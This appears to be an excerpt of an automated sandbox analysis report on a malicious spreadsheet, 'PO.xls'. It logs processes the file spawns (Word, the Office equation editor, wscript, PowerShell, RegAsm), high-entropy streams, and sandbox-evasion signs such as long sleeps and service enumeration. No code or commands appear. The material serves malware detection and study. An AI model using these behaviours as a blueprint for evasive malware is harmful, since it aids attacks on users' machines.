Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: PO.xls	Stream path 'MBD003D5860/Package' entropy: 7.98519854743 (max. 8.0)
Source: PO.xls	Stream path 'Workbook' entropy: 7.99896277753 (max. 8.0)
Source: ~DFCE2419FB28151868.TMP.0.dr	Stream path 'Package' entropy: 7.97426842891 (max. 8.0)
Source: 62830000.0.dr	Stream path 'MBD003D5860/Package' entropy: 7.97426842891 (max. 8.0)
Source: 62830000.0.dr	Stream path 'Workbook' entropy: 7.99901081925 (max. 8.0)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Malware Analysis System Evasion

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0040F7E2 Sleep,ExitProcess,

16_2_0040F7E2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

16_2_0041A7D9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 473	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1411	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1378	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3871	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 9260	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: foregroundWindowGot 1658	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3840	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4032	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3972	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4072	Thread sleep count: 1378 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4072	Thread sleep count: 3871 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3048	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3040	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3040	Thread sleep time: -4200000s >= -30000s	Jump to behavior
